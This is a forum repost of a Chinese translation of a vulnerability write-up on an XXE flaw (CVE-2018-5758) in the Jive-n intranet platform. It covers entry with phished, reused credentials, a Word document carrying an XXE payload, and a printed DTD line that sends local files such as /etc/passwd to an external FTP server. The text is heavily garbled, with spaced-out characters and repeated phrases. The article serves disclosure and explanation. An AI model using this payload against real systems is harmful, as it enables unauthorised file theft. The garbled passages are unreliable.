搜索

[12509] 2018-03-25_看我如何在Jive-n中发现了一个XXE漏洞(CVE-2018-5758)

文档创建者：s7ckTeam
浏览次数：18
最后更新：2025-01-18
2018-03-25_看我如何在Jive-n中发现了一个XXE漏洞(CVE-2018-5758) 看 我 如 何 在 J i v e - n 中 发 现 了 一 个 X X E 漏 洞   ( C V E - 2 0 1 8 - 5 7 5 8 ) A l p h a _ h 4 c k   F r e e B u f   2 0 1 8 - 0 3 - 2 5 写 在 前 面 的 话 写 在 前 面 的 话 很 多 渗 透 测 试 人 员 会 对 各 种 各 样 不 同 的 服 务 以 及 应 用 程 序 进 行 安 全 测 试 ， 但 他 们 往 往 会 忽 略 自 己 的 产 品 和 服 很 多 渗 透 测 试 人 员 会 对 各 种 各 样 不 同 的 服 务 以 及 应 用 程 序 进 行 安 全 测 试 ， 但 他 们 往 往 会 忽 略 自 己 的 产 品 和 服 务 。 在 这 种 情 况 下 ， 他 们 就 可 能 成 为 攻 击 者 的 首 要 目 标 ， 毕 竟 务 。 在 这 种 情 况 下 ， 他 们 就 可 能 成 为 攻 击 者 的 首 要 目 标 ， 毕 竟 “ 最 危 险 的 地 方 就 是 最 安 全 的 最 危 险 的 地 方 就 是 最 安 全 的 ” 。 在 这 篇 文 章 中 ， 。 在 这 篇 文 章 中 ， 我 们 将 介 绍 一 个 我 们 在 我 们 将 介 绍 一 个 我 们 在 J i v e   S o f t w a r e 的 的 J i v e - n 平 台 中 发 现 的 一 个 平 台 中 发 现 的 一 个 X M L 外 部 实 体 注 入 （ 外 部 实 体 注 入 （ X X E ） 漏 洞 ） 漏 洞 - C V E - 2 0 1 8 - 5 7 5 8 。 。 ( 文 中 传 送 门 及 下 载 地 址 请 点 击 文 中 传 送 门 及 下 载 地 址 请 点 击 阅 读 原 文 阅 读 原 文 查 看 查 看 ) R h i n o 安 全 实 验 室 的 研 究 人 员 近 期 在 企 业 员 工 内 网 通 信 软 件 J i v e - n 中 发 现 了 一 个 X M L 外 部 实 体 注 入 （ X X E ） 漏 洞 ， 该 漏 洞 存 在 于 应 用 程 序 的 文 件 上 传 功 能 中 ， 通 过 上 传 一 个 嵌 入 了 X X E   P a y l o a d 的 微 软 W o r d 文 档 ， 攻 击 者 将 能 够 读 取 目 标 操 作 系 统 中 的 任 何 文 件 和 文 件 夹 内 容 。 这 种 攻 击 的 影 响 非 常 严 重 ， 因 为 J i v e - n 其 中 的 一 个 重 要 功 能 就 是 帮 助 用 户 跟 网 络 中 其 他 用 户 上 传 / 共 享 文 件 ， 如 果 你 不 了 解 X X E 漏 洞 的 话 ， 可 以 参 考 我 们 之 前 的 文 章 【 传 送 门 】 或 O W A S P 给 出 的 定 义 【 传 送 门 _ P r o c e s s i n g ) 】 。 背 景 ： 背 景 ： J i v e - n 和 和 J i v e   S o f t w a r e J i v e - n 是 J i v e   S o f t w a r e 旗 下 的 一 款 产 品 ， 这 款 内 网 社 交 通 信 软 件 可 以 帮 助 企 业 员 工 之 间 通 过 内 网 进 行 交 互 。 它 既 可 以 作 为 S a a S 产 品 使 用 ， 也 可 以 作 为 内 部 / 自 托 管 应 用 程 序 来 使 用 。 在 我 们 的 研 究 过 程 中 ， 我 们 在 J i v e - n 中 发 现 了 一 个 已 激 活 的 实 例 ， 但 这 个 实 例 并 没 有 激 活 使 用 。 我 们 在 一 次 钓 鱼 活 动 中 获 取 到 了 登 录 凭 证 （ 密 码 复 用 ） ， 所 以 我 们 可 以 直 接 登 录 到 这 款 A p p 。 识 别 潜 在 的 安 全 问 题 识 别 潜 在 的 安 全 问 题 J i v e - n 其 中 的 一 个 功 能 就 是 上 传 文 件 并 与 内 网 中 其 他 员 工 共 享 。 在 公 开 已 上 传 文 件 之 前 ， 应 用 程 序 会 尝 试 在 页 面 中 通 过 一 个 F l a s h 对 象 来 显 示 文 件 内 容 。 在 使 用 普 通 的 微 软 o f f i c e 文 档 进 行 了 初 始 测 试 之 后 ， 我 们 认 为 这 里 可 能 存 在 X X E 漏 洞 。 X X E 服 务 器 配 置 服 务 器 配 置 P a y l o a d 首 先 使 用 了 目 标 系 统 中 一 份 本 地 文 件 路 径 定 义 了 一 个 X M L 实 体 ， 然 后 使 用 一 个 外 部 实 体 来 向 我 们 的 外 部 服 务 器 发 送 一 个 H T T P 请 求 。 我 们 的 服 务 器 将 会 以 文 档 类 型 定 义 （ D T D ） 响 应 ， 然 后 命 令 应 用 程 序 服 务 器 使 用 F T P 协 议 向 我 们 的 外 部 服 务 器 发 送 之 前 定 义 的 X M L 实 体 （ 指 向 本 地 文 件 ） 。 我 们 可 以 使 用 这 个 名 叫 “ o x m l _ x x e ” 的 软 件 【 下 载 地 址 】 完 成 这 部 分 操 作 ， 我 们 的 目 标 文 件 为 ： f i l e : / / / e t c / p a s s w d 。 在 我 们 的 X X E 服 务 器 （ 由 R h i n o 安 全 研 究 人 员 开 发 - 【 传 送 门 】 ） 上 ， 我 们 设 置 了 一 个 H T T P 监 听 器 （ 端 口 8 0 ） 和 一 个 F T P 监 听 器 （ 端 口 8 0 8 0 ） ， 并 准 备 正 确 处 理 传 入 的 请 求 。 我 们 所 使 用 的 D T D 如 下 ： 成 功 利 用 成 功 利 用 X X E 漏 洞 漏 洞 我 们 的 目 标 应 用 近 期 好 像 没 有 进 行 过 多 的 操 作 ， 所 以 我 们 准 备 上 传 一 个 “ 隐 藏 ” 文 件 ， 这 份 W o r d 文 件 不 会 暴 露 给 应 用 程 序 的 所 有 用 户 。 J i v e - n 其 中 的 一 个 功 能 就 是 允 许 用 户 在 发 布 该 文 件 之 前 浏 览 已 上 传 文 件 的 内 容 ， 它 使 用 了 F l a s h 来 尝 试 在 浏 览 器 中 呈 现 已 上 传 的 微 软 O f f i c e 文 档 内 容 ， 包 括 W o r d 、 E x c e l 和 P o w e r P o i n t 。 < ! E N T I T Y   %   a l l   " < ! E N T I T Y   s e n d   S Y S T E M ' f t p : / / o u r - e x t e r n a l - s e r v e r . c o m : 8 0 8 0 / % f i l e ; ' > " > % a l l ;
一 开 始 我 们 上 传 了 恶 意 文 档 ， 并 使 用 “ 保 存 草 稿 ” 功 能 来 尝 试 让 J i v e - n 呈 现 文 档 内 容 。 虽 然 没 有 成 功 ， 但 是 J i v e - n 显 示 了 一 条 错 误 信 息 以 及 一 个 “ 查 看 ” 或 “ 下 载 ” 文 件 的 选 项 。 一 般 来 说 ， X M L 在 这 里 就 应 该 得 到 解 析 并 执 行 P a y l o a d 了 ， 但 是 我 们 发 现 这 里 并 不 是 这 样 。 实 际 上 ， 我 们 的 服 务 器 一 直 都 没 有 收 到 请 求 ， 直 到 我 们 点 击 上 图 中 的 “ V i e w ” （ 查 看 ） 选 项 。 点 击 之 后 ， P a y l o a d 成 功 执 行 了 ， 而 文 件 内 容 也 发 送 到 了 我 们 的 X X E 服 务 器 上 。 上 图 中 主 要 发 生 了 三 件 事 情 ： 1 .   蓝 色 框 中 的 内 容 是 初 始 H T T P 请 求 ， 由 应 用 程 序 服 务 器 发 送 到 我 们 的 服 务 器 上 。 2 .   绿 色 框 中 的 内 容 是 我 们 服 务 器 针 对 该 请 求 的 响 应 数 据 。 3 .   橙 红 色 框 中 的 是 通 过 F T P 连 接 发 送 给 我 们 的 一 小 部 分 数 据 。 我 们 还 发 现 ， 通 过 请 求 路 径 f i l e : / / / e t c / ， 我 们 可 以 获 取 到 e t c 目 录 中 的 目 录 列 表 。 潜 在 的 缓 解 方 案 潜 在 的 缓 解 方 案 J i v e - n 的 管 理 员 可 以 使 用 反 病 毒 软 件 来 对 用 户 上 传 的 文 件 进 行 扫 描 ， 但 是 这 种 方 法 还 不 能 保 证 是 否 能 够 检 测 到 某 些 专 门 制 作 的 P a y l o a d （ 未 测 试 ） 。 不 过 ， 反 病 毒 产 品 可 以 检 测 到 带 外 连 接 、 操 作 系 统 文 件 被 读 取 、 或 者 F T P 协 议 被 使 用 等 情 况 。 在 使 用 反 病 毒 产 品 以 及 禁 用 X M L 外 部 实 体 的 情 况 下 ， 这 种 攻 击 的 影 响 是 可 以 缓 解 的 。 厂 商 修 复 厂 商 修 复 C V E - 2 0 1 8 - 5 7 5 8 根 据 厂 商 提 供 的 信 息 ， 最 新 版 本 软 件 即 服 务 形 式 的 J i v e - n 已 经 修 复 了 这 个 X X E 注 入 漏 洞 ， 并 禁 用 了 远 程 D T D 的 访 问 ， 现 在 程 序 的 X M L 解 释 器 已 经 不 会 再 处 理 外 部 实 体 了 ， 因 此 S a a S 版 本 的 J i v e - n 用 户 将 不 会 再 受 到 该 漏 洞 的 影 响 。 *   参 考 来 源 ： 参 考 来 源 ： r h i n o s e c u r i t y l a b s ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理